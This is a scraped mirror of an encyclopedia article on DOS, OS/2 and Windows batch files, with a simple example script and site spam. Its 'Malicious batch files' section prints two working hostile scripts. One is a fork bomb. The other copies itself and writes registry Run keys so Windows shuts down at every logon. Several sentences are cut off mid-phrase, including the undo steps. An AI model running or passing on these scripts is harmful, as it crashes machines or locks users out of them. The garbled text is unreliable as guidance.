|
Article on other languages:
|
This article is about DOS, OS/2 and Windows scripting. For other types of batch programming, see shell script.
In DOS, OS/2, and Microsoft Windows, a batch file is a text file containing a series of commands intended to be executed by the command interpreter. When a batch file is run, the shell program (usually Although a batch file is analogous to a shell script in Unix-like operating systems, the limited syntax and commands available makes it is less suited for general-purpose programming. These limitations lead to the widespread use of "enhancement" commands such as those in the Norton Utilities and later the replacement shell 4DOS in the DOS era. DOS batch files have the filename extension
ExampleAn example of a simple batch file: REM ECHO OFF prevents the printing of each command to standard output. @ECHO OFF REM ECHO. prints a blank line. ECHO. ECHO Hello World, press any key to start APROGRAM.EXE! PAUSE > NUL REM The first argument to the batch file can be referenced with "%1" APROGRAM.EXE %1 IF ERRORLEVEL 1 GOTO error ECHO. ECHO APROGRAM has finished whatever it was doing. GOTO end :error ECHO. ECHO Something went wrong with AProgram. :end Malicious batch filesBatch files are often used by Script kiddies to create malicious programs. An example of a fork bomb [Warning: This batch file will use up all available memory and processor resources]: :loop start Crash.cmd goto loop Save the file as An example of a "batch crash" [Warning: This batch file will log you off every time you log on. Test at your own risk]: @ECHO off CLS COPY %0 C:\%0_1.bat ECHO REGEDIT4 >> temp.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg ECHO [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg ECHO "ownage"="shutdown.exe -s -t 00" >> temp.reg ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> temp.reg ECHO "backup1"="C:\%0_1.bat" >> temp.reg REGEDIT.EXE /s temp.reg SHUTDOWN.EXE -s -t 00 To "undo" this, go to Start > Run and type REGEDIT, this will bring up the Registry Editor. Now, delete "ownage" in See alsoExternal linksWikibooks has a book on the topic of
Article keywords: dos batch file, Questions for article: windows dos batch file command, windows dos batch file command |
|||||||||||||||||||||||
This article is from Wikipedia. All text is available under the terms of the GNU Free Documentation License.
Mercedes Car
This site monitored by SitePinger.net